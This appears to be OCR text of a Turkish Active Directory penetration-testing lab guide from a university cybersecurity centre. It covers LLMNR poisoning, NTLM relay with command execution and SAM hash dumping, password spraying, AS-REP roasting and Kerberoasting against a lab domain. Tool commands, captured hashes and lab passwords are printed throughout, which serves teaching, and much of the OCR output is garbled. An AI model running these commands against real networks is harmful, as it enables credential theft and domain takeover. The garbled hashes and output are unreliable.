137 /udp apen|fi1Tﬂ"ﬁd netbios-ns
MAC Address: B8:0@:27:E3:98:F1 (Oracle VirtualBox virtual NIC)

NetBIOS name: WIN-FNG7ILTE@H®, NetBIOS user: <unknown>, NetBIOS N
3 :23:98:f1 (Oracle VirtualBox wvirtual NIC)

MNames:
| WIN-FNG7ILTE@AH®< F1;
| BUSIBER<R®>
| BUSIBER<1c> F1i
|
|

|.IJ

-m
I_l
l.u £
(s R o Ry
L R ¥ R ¥ Ry B g

WIN-FNGTILTBOHO<20> F1:
BUSIBER<1b> iy

|_u |_u

Nmap scan report for 192.168.0.
Host is up (@.00026s5 latency).

PORT STATE SERVICE
137 /udp apen|filtered netbios-ns
MAC Address: 0B:00:27:FF:63:12 (Oracle VirtualBox virtual NIC)

EID- name: MUHASEBE®1, MNetBIOS user: <unknown>, NetBIOS MAC:
112 (Oracle VirtualBox virtual NIC)

<unique>
<group:
<unique>

88
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5.2. Metasploit smb_scanner
Metasploit’in icinde bulunan auxiliary/scanner/smb/smb_version hedef bilgisayarlarin destekledigi SMB
versiyonlarini, yetkili domain’l ve sifreleme kabiliyetlerini tespit eden bir moduldr.

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary( ) > options

Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description

RHOSTS = The target host(s), range CIDR identifier, or hosts f
ile with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)

msf6 auxiliary( ) > set RHOSTS 192.168.0.0/24
RHOSTS = 192.168.0.0/24
msf6 auxiliary( ) > run

192.168.0.2:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.0.2) (sign
atures:optional) (guid:{8582e58d-d782-aa5e-aa85-ecf3d1d62271}) (authentication domain:PEACES
ELLS)
192.168.0.4:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (comp
ression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (gui
d:{b3ca@cal-44f7-4015-a631-7a31ed3114ca}) (authentication domain:BUSIBER)
192.168.0.10:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (comp
ession capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (gui
:{f76ed583-8012-4514-90fe-f5f82ea8870e}) (authentication domain:BUSIBER)
C 192.168.0.0/24: - Caught interrupt from the console...
Auxiliary module execution completed

r
d

5.3. CrackMapExec
Active Directory sizma testlerinin isvigre ¢akisi olarak nitelendirilen CrackMapExec, bilgi toplama
asamasinda hedef bilgisayarlarin isletim sistemi versiyonu, alan adi ve hostname gibi bilgileri tespit edebilir.

cme smb 192.168.0.0/24

smb 192.168.0.0/24
192.168.0.10 445 MUHASEBEQ1 Windows 10.0 Build 19041 x64 (name:MUHASEBEO1) (domain:busiber.local) (signing:False)

MBv1:False)
192.168.0.4 445 WIN-FNG7ILTBOHO Windows 10.0 Build 17763 x64 (name:WIN-FNG7ILTBOHO) (domain:busiber.local) (signing:Tru
) (SMBv1:False)
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6. LLMNR Poisoning

Link Local Multicast Name Resolution (LLMNR), DNS alternatifi olarak yerel agda isim ¢dziimlemesi ve
bilgisayar tanimlama amaciyla kullanilan bir protokoldiir ve bu protokol RFC 4795 koduyla tanimlanmistir.
LLMNR trafigi UDP 5355 ve UDP 137 portlari ile gerceklesir.

Bir bilgisayar, bilmedigi bir kaynaga erismek istedigi zaman LLMNR protokolii ile yerel agda yayin
(broadcast) yaparak kaynagin kim oldugunu sorar ve yetkili bir sekilde ilk cevap veren kaynak ile iletisimini
surdurdr.

Bir saldirgan, LLMNR’In ¢alisma mantigindan faydalanarak bu yayin(broadcast)lara yaniltici bir sekilde yanit
verebilir ve istemci bilgisayardan kimlik dogrulama amaciyla NetNTLMv2 hash’ini talep edebilir. Saldirgan
NetNTLMv2 hash’ini ele gegirdikten sonra Brute Force ve Dictionary Attack gibi yontemlerle parolayi ele
gegirebilir.

Saldiriyi lab ortaminda gerceklestirmek icin, Responder isimli araci kullanacagiz. Responder ile LLMNR
¢agrilarina yanit verip istemci bilgisayarlari yaniltarak kendi bilgisayarimiza NetNTLMv2 haslerini
gondermelerini saglayacak ve bu hashleri hashcat araci ile kirip parolalari ele gegirebilecegiz.

DCOf1
DNS
Bilmiyom :(
(DNS)
\\busiber213asdg\ nerede?
\ 4
\\busiber213asdg\ nerede?
(LLMNR Broadcast)
MUHASEBEO1 < Kali 2020.4
Benim o.
NetNTLMv2 ile oturum

acma islemini baglatalim.
Hash ver
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responder -l ethO

kali@ kali: ~

File Actions Edit View Help

FTP server
IMAP server
POP3 server
SMTP server
DNS server
LDAP server
RDP server

HTTP Options:
Always serving EXE
Serving EXE
Serving HTML
Upstream Proxy

Poisoning Options:
Analyze Mode

Force WPAD auth
Force Basic Auth
Force LM downgrade
Fingerprint hosts
Generic Options:
Responder NIC
Responder IP

Don't Respond To Names

Listening for events...




BOGAZIiCi UNIVERSITESi YBS SIiBER GUVENLiIK MERKEZI

LLMNR Broadcast’l tetiklemek icin, MUHASEBEO1 bilgisayari (izerinde Calistir uygulamasini acin ve yerel
agda var olmayan bir kaynaga erismeye calisin

4 Run bt

== Typethe name of a program, folder, document, or Internet
= resource, and Windows will open it for you.

Open: \\busiberasdg)| w

® This task will be created with administrative privileges,

8] Cancel Browse...

Responder uygulamasi, MUHASEBEO1 bilgisayarinin LLMNR ¢agrisina yaniltici bir sekilde yanit verecek ve
NetNTLMv2 Hash’ini kimlik dogrulama amaciyla talep edecek. Ele gegirilen bu bilgiler terminalinize
disecektir.

NTLMwZ2-5SSP Client
NTLMy. SP Username
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Yakaladiginiz NetNTLMv2 hashlerini her biri tek satir olacak sekilde kaydediniz.

GNU nano 5.3 yusufakcahash.txt *
yusuf.akca:: BUSIBER:142bf7f72fdba88a:9C87AC67D7268C2078DE017710BBC9F6:0101000000000000C0653150DEQ9D2012FEAEF18F8CC55A2000000000200080053004D0042)

Hashcat araci ile ele gegirdigimiz NetNTLMv2 hash’ini ¢6zlp parolayi bulabiliriz.

sudo hashcat -m 5600 hash.txt wordlist.txt

rusufakcahash.txt rock

yusuf.akca kullanicisinin parolasi kolay ve sik kullanilan bir parola oldugu icin hashcat kisa bir siire icerisinde
sifreyi ¢ozdu.

Dictionary c 2 built:
Filena

YUSUF .AKCA :: BUSIBER: 142bf7f72fdba88a:9c87ac67d7 1 -
0330001001e005 004e002d0050005 9 0051004100460056000400140053004d0
2 53004d00420033002e006C006 630061006c000500
0000000000000000000000
06900660073002f006100730

fdbaB88a:9c87ac67d7268c¢ ... 000000

Test esnasinda yakalanan NetNTLM hashlerini /usr/share/responder/logs/ dizininde bulabilirsiniz.

LLMNR Poisoning yontemi ile gecerli bir kullanici elde ettikten sonra, Active Directory ortaminda saldiri
araylizi blyuk olclide genisleyecek ve daha kapsamli bilgiye sahip olabilecegiz.
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7. NetNTLMv1/v2 Relay

Sizma testi esnasinda yerel agda yakaladigimiz NetNTLMv1/v2 hashlerini, cozmeye gerek duymadan
Mitm(Main in the Middle) saldirisi gerceklestirerek ikinci bir makineye yonlendirebiliriz ve yonlendirdigimiz
makinede oturum elde ederek komut calistirabilir, SAM veritabanini elde edebilir ve post-exploitation
islemleri gergeklestirebiliriz. NetNTLMv1/v2 hashlerini ikinci bir makineye yonlendirmek igin, hash’i
yonlendirdigimiz makinede SMB Signing dzelliginin Off (kapali) olmasi gerekiyor. istemci makinelerde bu
Ozellik varsayilan olarak kapali gelmektedir.

BUSIBER\Administrator) BUSIBER\Administrator
>
DCOf 5 Challenge ali 2020.4 | __Challenge MUHASEBEO1
Response Response

SMB Signing durumunun Off oldugu makineleri bulmak icin, CrackMapExec ile otomatik olarak liste
olusturabiliriz.

cme smb 192.168.0.0/24 --gen-relay-list busiber.txt

busiber.txt
MUHASEBEQ1 Windows 10.@ B [ [ (r e :MUHASEBE®1) (domain:busiber.local) (signing:False)

G7ILTB@HO

~/Desktop

ali
li

~/Desktop
busiber.txt
192.168.0.10

~/Desktop
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Hedef makinelerin listesini txt olarak elde ettikten sonra, gelen istekleri ikinci bir araca yonlendirecegimiz
icin Responder aracinin yapilandirma ayarlarinda degisiklik yapacagiz.

sudo nano /etc/responder/Responder.conf

-[~/Desktop

/etc/responder/Res

Yapilandirma dosyasinda SMB ve HTTP sunucularini Off konuma getiriniz.

GNU nano 5.3
| Responder Core]

i Servers to start
SQL = On

sME = offl}
RDP on
Kerberos = 0On
FTP on

POP = On

SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On

LDAP = On

o
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Ayarlarin dogru yapildigi ve saldirinin lab ortaminda ¢alistigini dogrulamak icin, test amach olarak
ntimrelayx aracina -c parametresi ile komut calistirmasini sdyleyelim. -c parametresi sayesinde cmd.exe
komutlari ¢alistirabilirsiniz.

sudo ntimrelayx.py -tf ipdosyasi.txt -smb2support -c ipconfig

- ~/Desktop/impacket
: /home/kali/ : ipconfig
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

Protocol Client MSSQL loaded ..
Protocol Client DCSYNC loaded ..
Protocol Client IMAP loaded ..
Protocol Client IMAPS loaded ..
Protocol Client RPC loaded..
Protocol Client HTTP loaded ..
Protocol Client HTTPS loaded..
Protocol Client SMTP loaded ..
Protocol Client SMB loaded..
Protocol Client LDAPS loaded..
Protocol Client LDAP loaded ..
Running in relay mode to hosts in targetfile
Setting up SMB Server

Setting up HTTP Server

Setting up WCF Server

Servers started, waiting for connections

DCO01 Domain Controller makinesinde baglanti tetiklemek icin yerel agda var olmayan bir kaynaga erismeye
calisalim.

! Run 4

Type the name of a program, folder, document, or Internet

=y resource, and Windows will open it for you,

Open: \\busiberasdg)| w

E;' This task will be created with administrative privileges.

Ok Cancel Browse...
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Eger her seyi dogru yaptiysak, DCO1 makinesinden gelen Domain Admin haklarina sahip Administrator
NetNTLMv2 oturumu ile MUHASEBEQ1 istemcisi Uzerinde ipconfig komutu calistigini ve komutun c¢iktisinin
saldirgan bilgisayara dondiiglini géreceksiniz.

[*] SMBD-Thread-4: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, attacking target smb://192.168.0.10
[*] Authenticating against smb://192.168.0.10 as BUSIBER/ADMINISTRATOR SUCCEED

[*] SMBD-Thread-4: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state

[*] Service RemoteRegistry is disabled, enabling it

[*] Starting service RemoteRegistry

[*] SMBD-Thread-6: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!
[*] Executed specified command on host: 192.168.0.10

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::3815:f395:f090:94bc%6
IPVA ADAresSS. ol o s wis. /o sl eie oy s 192.168.0:10

SubnetiMask sl iEsie srEliele & ey sr259:255,.255.8

Default Gateway . . . . . . . . . : 192.168.0.1

ntimrelayx aracini varsayilan olarak biraktigimizda, saldiri basarih gergeklestigi durumda hedef
bilgisayarlarda yerel SAM veritabanini cekerek NTLM hashlerini elde edebiliriz.

sudo ntimrelayx.py -tf hedef.txt -smb2support

Protocol Client IMAPS loaded.
Protocol Client RPC loaded..
Protocol Client HTTPS loaded.
Protocol Client HTTP loaded..
Protocol Client SMTP loaded..
Protocol Client SMB loaded..
Protocol Client LDAP loaded..
Protocol Client LDAPS loaded.
Running in relay mode to hosts in targetfile
Setting up SMB Server

Setting up HTTP Server
Setting up WCF Server

Servers started, waiting for connections
*] SMBD-Thread-4: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, attacking target smb://192.168.0.10

Authenticating against smb://192.168.0.10 as BUSIBER/ADMINISTRATOR SUCCEED

SMBD-Thread-4: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!

Service RemoteRegistry is in stopped state

Service RemoteRegistry is disabled, enabling it

Starting service RemoteRegistry

SMBD-Thread-6: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!

Target system bootKey: 0xba@d8b381ff6416965f5afb2c607a5cf

Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0 :::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73¢c59d7e0c089¢0 :::
DAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c81c8295ec4bfa3c9b90dcdb6cb4727e2 11
\{UHASEBEQ1:1001:aad3b435b51404eeaad3b435b51404ee:342db56deb94d391ab4c2721aclchf85:::

Done dumping SAM hashes for host: 192.168.0.10

Stopping service RemoteRegistry

Restoring the disabled state for service RemoteRegistry

SMBD-Thread-7: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!

SMBD-Thread-8: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!

SMBD-Thread-9: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!

SMBD-Thread-10: Connection from BUSIBER/ADMINISTRATOR®192.168.0.4 controlled, but there are no more targets left!




BOGAZIiCi UNIVERSITESi YBS SIiBER GUVENLiIK MERKEZI

8. Password Spraying

Password Spraying, yaygin olarak kullanilan birkag parolayla ¢ok sayida hesaba erismeye calisan bir saldiri
turddir. Active Directory testlerinde ilk kullaniciyi elde ettikten sonra bitin kullanici isimlerini alabiliriz ve
zayif parola kullanip kullanmadiklarini test edebiliriz.

Sizma testi esnasinda bir Domain kullanicisi elde edildigi zaman, saldiri arayizi blyik olglide
genislemektedir. Gegerli bir Domain kullanicisiyla Domain hakkinda bir ¢ok seyi 6grenebiliriz.

e Domaindeki kullanicilar

e Parola politikasi

e Kullanici gruplari

e isletim sistemi bilgileri

e Domain hakkinda genel bilgiler
e SMB Paylasim tespiti

8.1.rpcclient
rpcclient, istemci tarafli MS-RPC fonksiyonlarii uygulamak igin gelistirilmis bir aragtir. Bu ara¢ sayesinde,
Linux tizerinden Windows sistemlerle etkilesim kurabilir ve test i¢in ihtiyacimiz olan bilgileri edinebiliriz.

rpcclient -U yusuf.akca 192.168.0.4

Enter WORKGROUP\y

rpcclient $> |

rpcclient konsoluna gegerli bir Domain kullanicisina eristikten sonra, parola politikalarinin tespiti igin
getdompwinfo komutunu kullanabiliriz.

rpcclient $> getdompwinfo
min_password_length: &

password _properties:
rpcclient $> |}

Password Spraying saldirisi esnasinda parola politikalarina aykiri davrandiginiz takdirde hesaplarin
kilitlenme ihtimali var, bu ylizden test esnasinda ag ve sistem yoneticisiyle iletisim icerisinde olmaniz
tavsiye edilir.
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enumdomusers komutu Password Spraying saldirisi icin gerekli kullanici isimlerini tespit edebilirsiniz.

rpcclient $> enumdomusers
user: [Admini;Tratﬂr] rid:[@=x1f4]

user :[@=1f5]
user:
user:
user.
user
user:
user
use
user:
use
user
user:
user
use

?IDTET] rid:[0=1f6]

suf.akcal rid:[@=44F]
armencita.chanda] rid:[@=45@8]
ieila.norma] rid:[@=451]
wdestine.danyelle] rid:[0=452]
e.austine] rid:[@=453]
ylene.rosana] rid:[0=454]
cnﬂnnﬂ glad] rid:[@=x455]
ominga.coralyn] rid:[@=456]
nicoline.bertine] rid:[@x457]
janith.marlee] rid:[@=458]
cory.gael] rid:[@=459]
latisha.adelind] rid:[@x45a]
user:[emeline.llywellyn] rid:[0x45b]
use f alu] rid: [@=45c]

[G
[
[ yu
[«
[
[m
[ d
[ g
[mi
[
[
|
[
|
|
er: [ka
user:[c; .o0lva] rid:[@=45d]
[ e
[ p:
[ d;
[
[
[
[b
[
[
|
[
[
[1
[ e
|
|

ﬂ__'lrl'.;.'lﬂ__"'l||-
l.IJl'[.l

user: nnie.antonia] rid:[@=45e]
user: mmie.arlene] rid:[@=45f]
use ara.blondy] rid:[@x460]
user:[marylynne.reta] rid:[@x461]
use odli.coraline] rid:[@=462]
user:[lane.katrina] rid:[@=463]
user:[bobbi.kilian] rid:[@=464]
user:[rahal.kinna] rid:[@=465]
use lon.lidia] rid:[@=466]
user:[lombard.oliy] rid:[@=x467]
use gus.marilee] rid:[@=468]
user:[eugenia.nicol] rid:[@x469]
user:[lu. ]uxdqn] rid:[@=x46a]
user: rachelle] rid:[@=46b]
use q11hn ﬂﬂﬂldq] rid:[@=46cC]
user:[kerr.klemens] rid:[@=46d]
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8.2.enum4linux
enumdlinux, Windows ve Samba sistemler hakkinda bilgi tespiti icin kullanabileceginiz bir aractir. Bu arag
rpcclient, net, nmblookup ve smbclient aracglarinin verdigi bilgileri tek bir ¢ati altinda toplar ve Domain
hakkinda test esnasinda yardimci olabilecek bilgileri toplar.

sudo enum4linux -u yusuf.akca -p 1g2w3e4R -a 192.168.0.4

Ciktiyr inceledigimiz zaman, kullanici hesaplarini, parola politikalarini, kullanici gruplarini, domain
bilgisayarlarini gérebiliyoruz.

's on 192.

0x1 : 0x00000210 Account: Administrator Name: (null) esc: Built-in account for administering the compu
0x46¢C : 0x00010010 Account: allyn.oneida Name: (null) (null)
0x473 ¢ : 0x00000010 Account: anny.selestina Nam (null) null)
0x4 ID: 0x481 0x00000010 Account: bernad = (null) € (null)
0x475 i @x475 : 0x00000010 Account: berti. e | (null) null)
0x464 T Bx464 : 0x00000010 Account: 1) 3 me: (null) s plication Account
0x4 RID: ©@x47e acb: 0x00000010 Account: sey (null) null)
0x45d RID: @x45d 0x00000010 Account: : (null) (null)
0x450 acb: 0x00000010 Acc t: car L Desc: (null)
0x459 : 0x00000010 Acc . 1 : (null esc: (null)
0x460 acb: 0x00000010 : dara.blondy ame: ( ) c: (null)
0x453 : 0x00000010 Acc : dee.aust ame: ( ¢ (null)
0x456 : 0x00000010 int: dominga. Lyr : (null) : (null)
0x472 0x00000010 Account: reddy.inga : (null Desc:
0x45b 0x00000010 Account eline.llywellyn Name: (null esc: (null)
0x469 F§ i 0x469 : : 0x00000010 Account: genia.nicol Name: (null) 2sc: (null)
0x454 I @x454 : 0x00000010 Account: gaylene.rosana Name: ( : (null)
0x1f5 acb: 0x00000215 Account: Guest N (null) : Built-in account for guest 2 > r/domain
0x468 : 0x00000010 Account: gus.maril 1
0x471 acb: 0x00000010 Account: isabelita ) a nu : (null)
0x00000010 Account: janith.mar e
0x00000010 Account: jenni ntoni E (null) e i1t password
0x00000010 Account: joline.deva me: (null) : default password
0x00000010 Account: kara.lorilyn (null) (null)
0x00000010 Account Name: (null) (null)
0x00000010 Account NS Name ) (null)
0x00000010 Account ox.aili Name: ( ) e (null)
0x00000011 Account: krbtgt Name: (null) S / stribution Center Service Account
0x00000010 : kylen.g Name: ( 1) 2sc: (null)
0x00000010 A int: lane.katrina  Name: (null) esc: (null)
0x00000010 Account: latisha.adelind Na asc: (null)
Ox46e acb: 0x00000010 Account: letitia.fernanda Nam esc: (null)
0x47d 2 : 0x00010010 Account: lily.lilli : (null)
0x4 cb: 0x00000010 Account: n.selie (null)
0x467 acb: 0x00000010 Account: rd.oliy : (null)
0x00000010 Account: lo idia lame: (null)

Kullanici hesaplari kismina baktigimiz zaman, Description(Agiklama) kisminda bir adet kullanicinin
parolasinin sizdigini gérdik. Nadir de olsa ag ve sistem yoneticileri tarafindan Description kismina
parolalarin not edildigini gérdiik, kontrol etmekte fayda var.

index: @x46a RID: O0x46a acb: 0x0000001@0 Account:| lu.jordan { :|need to be changed 7n_tI2

index: @x477 RID: 0x477 acb: 0x0001001@ Account: marian.lizzy ) : Replication Account
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rpcclient ciktisi olan kullanicilari bir text dosyasina kaydedelim.

P

domainusers. txt]j

[r_ {t domainusers.tx

arseusers.txt

Administrator
Guest

krbtgt

yusuf.akca
carmencita.chanda
neila.norma
modestine.danyelle
dee.austine
gaylene.rosana
mignonne.glad
dominga.coralyn
nicoline.bertine
janith.marlee
cory.gael
latisha.adelind
emeline. llywellyn
kay.lory
caria.olva
jennie.antonia
pammle.arlene
dara.blondy
marylynne.reta
rodi.coraline
lane.katrina
bobbi.kilian
rahal.kinna
lon.lidia
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Text dosyasini her satirda bir adet kullanici bulunacak sekilde ayarladiktan sonra her satirda bir parola
kalacak sekilde bir text dosyasi hazirlayalim.

Test esnasinda karsilastigimiz parolalari bir text dosyasina ekleyelim.

File

Actions Edit View

GNU nano 5.3

Password Spraying saldirisi icin Metasploit icinde auxiliary/scanner/smb/smb_login modilinu kullanacagiz.

auxiliary( ) > options

Module options (auxiliary/scanner/smb/smb_login):

Name C ent Setting Required Description

Abort the run when an account lockout is detected

Try blank passwords for all users

How fast to bruteforce, from @ to 5

Try each user/password couple stored in the current database
Add all passwords in the current database to the list

Add all users in the current database to the list

Enable detection of systems accepting any authentication
Detect if domain is required for the specified user

File containing passwords, one per line

Respect a username that contains a domain name.

A proxy chain of format type:host:port[,type:host:port][...]
Record guest-privileged random logins to the database

The target host(s), range CIDR identifier, or hosts file with syntax
The SMB service port (TCP)

The Windows domain to use for authentication

The password for the specified username

The username to authenticate as

ABORT_ON_LOCKOUT false yes
BLANK_PASSWORDS false no
BRUTEFORCE_SPEED D yes
DB_ALL_CREDS false no
DB_ALL_PASS false no
DB_ALL_USERS false no
DETECT_ANY_AUTH false
DETECT_ANY_DOMAIN false

PASS_FILE
PRESERVE_DOMAINS
Proxies
RECORD_GUEST
RHOSTS

RPORT

SMBDomain
SMBPass

SMBUser

true

false
'file:<path>"
445

STOP_ON_SUCCESS
THREADS
USERPASS_FILE
USER_AS_PASS
USER_FILE
VERBOSE

Stop guessing when a credential works for a host

The number of concurrent threads (max one per host)

File containing users and passwords separated by space, one pair
Try the username as the password for all user

File containing usernames, one per line

Whether to print output for all attempts
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ilgili moduil ayarlarini yapalim.

RHOSTS 192.16!

msf6 . ) > set SMBDomain BUSIBER
SMEDomain =

msfé auxiliary(

USER_FILE = userspar

msf6 auxiliary(

msf6 auxiliary( ) » set THREADS 1@
THREADS = 18

Password Spraying sayesinde yusuf.akca kullanicisinin kullandigi parolayi Administrator kullanicisinin da
kullandigini tespit ettik.

msf6 auxiliary( ) > run

192.168.
192.168.

] 192.168.
192.168.
192.168.
192.168.
192.168.

[+] 192.168.

192.168.0.4:445 - Starting SMB login bruteforce

192.168.0.4:445 - Success: 'BUSIBER\Administrator:1q2w3e4R' Administrator
No active DB —— Credential data will not be saved!

192.168.0.4:445 Failed: 'BUSIBER\Guest:1q2w3e4R’,

192.168.0.4:445 Failed: 'BUSIBER\Guest:7n_tI2yOva*;',

192.168.0.4:445 Failed: 'BUSIBER\krbtgt:1g2w3e4R’,

192.168.0.4:445 Failed: 'BUSIBER\krbtgt:7n_tI2yOva*;"',

192.168.0.4:445 Success: 'BUSIBER\yusuf.akca:1g2w3e4R'

L=~~~ I I

Ayrica, bilgi toplama esnasinda lu.jordan kullanicisinin Description kisminda bulunan parolanin hala gecerli
bir parola oldugunu da tespit ettik.

[+] 192.168.0.4:445 - 192.168.0.4:445 - Success: 'BUSIBER\lu.jordan:7n_tI2yOva*;'
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9. AS-REP Roasting

ASREPRoasting Kerberos preauth gerektirmeyen kullanicilar: etkileyen bir saldiridir. Bir kullanicr i¢in
Kerberos preauth gerekmedigi zaman, yerel aga erisimi olan herkes o kullanici i¢in AS_REQ istegi
gonderebilir ve AS_REP cevabi alabilir. AS_REP cevabinin igeriginde kullanicinin parolasi ile olusturulan
anahtar ile sifrelenmis bir mesaj bulunur.

Bu mesaj1 ele gegiren bir saldirgan, kullanici sifresini ¢evrimdisi olarak kirilabilir ve parolayi elde edebilir.

GetNPUsers.py -dc-ip 192.168.0.4 busiber.local/yusuf.akca -format hashcat -outputfile hashes

0.4 bu31b~r 1ucal yusuf.akca hashcat hashes
Impacket .dev1+20210127.141011 --C yright 2020 S Auth Cor

allyn.oneic . 3 14 A 48 "> 0x400200
marian.lizzy 3 . >
Llily.lilli 021-02-03 :5 08 > 0x400200

$krb5asr

00d7a2

b66dbd5e

Kerberos preauth gerektirmeyen kullanicilarin hashlerini hashcat ile kirabiliriz.

hashcat -m 18200 hashes rockyou.txt

islemin sonucunda 3 adet Kerberos preauth gerektirmeyen kullanicilarin parolalarini ele gecirdik.

$krbSasrep$23%$allyn.oneida@BUSIBER.LOCAL:900d013ee8 3c6efasbd6d6235d16c$6bb51aled561ccaaalbf113c64fblb3
€a6d1805f9df78e6c724cf243d02309825¢56 6 'beJc7cdDF8 99(3ee?8bf51«01m3 alde”O«/4b7ff 25b
35belb673f4267alccePaalbeceb7b997c91574F16d4

731577468b5a6adfbf39bda38ea7f87bd01f149316a4
$krbSasrep$23$1lily.1illia : d9A7c/017‘ob’dA1737a 638 3f5heOf$uaLd
abe7cdb13111 JDGQAeiaccwbofdd 3 274 6a773 47d1308c3ecff
d8fd19757c68c6cbd89 9b2 8c850e3caeae54ec3b72450a9b4a5814bcb2 a;ao’a 62
e7 ‘4ead uaceJuafDdbeJGI aed) ble2a93f1d 70c547 aldoc6a212e7319f7e4ef7f0cf0O489 € f1f {dl Iau

e/
$krb aBU 3ER. LOC 5f456b3c5bcbad42$69161
dea2cafc hbD/Op ouhos7b caa5513ee25c26e5a61

QSOFddlch'Gle;;57 596t ebaac53abﬁquub QOGDOff
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10. Kerberoasting

Kerberoasting, Active Directory'deki kullanici hesaplar1 adina ¢alisan hizmetler i¢in TGS biletlerini ele
gecirmeye olanak saglayan bir saldiridir. TGS biletlerinin bir kismi1 kullanici parolalarindan tiiretilen
anahtarlarla sifrelenir. Bir saldirgan, TGS biletlerini hash formatinda ele gegirip, Brute Force ve Dictionary
Attack gibi yontemlerle hashleri kirarak kullanici parolalarini elde edebilir.

Saldirty1 lab ortaminda simiile edebilmek i¢in, bir kullanici ekleyelim ve ekledigimiz kullaniciya Service
Principal Name atayalim.

net user bilgin.metin 123456 /ADD /DOMAIN
setspn -a DCO1/bilgin.metin.busier.local:60111 BUSIBER\bilgin.metin

B Administrator: Command Prompt

Kerberoast saldirisindan etkilenen kullanicilari ve hashlerini tespit etmek icin impacket araglarindan biri
olan GetUserSPNs aracini kullanabiliriz.

GetUserSPNs.py -request -dc-ip 192.168.0.4 ‘busiber.local/yusuf.akca’ -outputfile kerbhash
[sudo] password for kali:
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

192.168.0.4 'busiber.local/yusuf.akca’ kerbhash

Password:
ServicePrincipalName Member0f PasswordlLastSet LastLogon
Delegation

DC@1/yusuf.akca.busiber.local:60111 yusuf.akca 2021-02-03 14:49:07.329254 2021-02-07 10
:51:02.407781
DC@1/bilgin.metin.busiber.local:60111 bilgin.metin 2021-02-07 10:50:02.023846 <never>
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kerbhash text dosyasini actigimizda bilgin.metin kullanicisinin TGS hashini gorebiliriz.

$krb5tgs$23%+bilgin.metin$BUSIBER. LOCALS$busiber.local/bilgin.metin+ SNl eV ARl SRl I T LTS YT
2cPackec628efe95cc28abbc866217badf407d9c76b155868341a3805824985ca752f707f8011a35ecdb4406272a889399656ab
1d95203371e3b92c3b7a208f13c746485f2344a8be@a7fd51bfall1e1879a0b4d9d1e52ea969f54de6c8f31519ef8782b99fa7525
552a7615bce28db64e346fc2d0df9d25c4abal1b59247a620134f47ee2f1b691e1259c69edc1004d@e7c7d2bsaae25b70b1c38ac7y
b87caal95c@c5b8al112cbb04fealdfd17fc36791d51135d77822e842F51F498F775177e26aed18d100827d07fb73c34bebfc@bbab
9a5ae5d90elbe7b5726f07e24ee840964dbca9582a9306af1699934631el1fb7abb90478dd54070bc9932d14456d2ecd863248db1
ed40aa®3f85672bc1f54a7ff61e13a3dbdbc361293b09%9aadf66394f1b1d74559fa23a0b54bfb5ed8868da3c52c11f7fofb648fd
406add9ec44b494bb95819191598c4al14fd6c7421409a33863d2fb5ed%edeefd26b02e04dc@0574c7f23eeS5ebelle4bd158c790a
af3dbda7ed10a®9623b8b90b14c10e322a22665e67aa57fb88667196145380474dc03f2f500506b300745e16a82ab39531567cf8
b6841c58af454476af914add4s2fbf9826dc91ac5ccc9a86564901F1027dff25b2ePa2df102e20al22chbecas252575ef1e4@ec285d
70305bb8499c3f7fd2528b2aba56b36277d@c7cc4f285e0625d283d0e67ed11c8310704c4becf5bdd4asbals556c4fBesb6aedc3d2f
532185754bd38cebd25a11e8ff22b8df9d04f2e5b27¢c92e8f34F6C54622659b8b33206810a4a57daks97829e5114d9405d0as76fe
edcl195fc4cbbf7eab3d9dea7e531b3ab73a5cbelec22786753398591536a6342b0856F5a2ebbb4c3el3efbad9cesT05calo6d6202
a8ddael14153e9a142c5b2408c99764e8c72cb0016eb331e3b55b3f7b5e3628e57ee887f6a153ffc5fbf@788557e325c1890cddb8
2036ba9608e577ef78add1a8e03cbf3b90b173b4ad724dedadd934168d9d5e880f9bdale8ad864ff46b42e3773da%9%bd0201cc231
bad2a52eccel41d1fbb30dcceed26d6017ee5b6bf8d8edlcfb82dle31a73f6191ceecfa75¢c6c9dfdafs5532172dde59f5a4d7¢301
2001e6fc37bcc954alfbcb43adc26d5¢c1b@e6806a7b61f7d0288297a2123da7d1a3a056d117128497321270f4F68ed51c73e6300
e74c5637242d1315706b51be2dc982a4000ae3baec®5afed41013ecatb60e95f237268ef3b6as7d6a676f99f4332c34FFf187faab0
749f9a6460d7d85ebd8c730397ae8f5e71afcbd22275a42e40e03bb14469%9ec@eba73b6e@f7614a0912aefeff8a86178432aaa

hashcat -m 13100 kerbhash rockyou.txt

— £

13188 kerbhash r

Hash kirma islemi sonucu bilgin.metin kullanicisinin parolasini 123456 olarak tespit edebildik.

* Passwords.: 14344385
139921507
* Keyspace..: 14344385

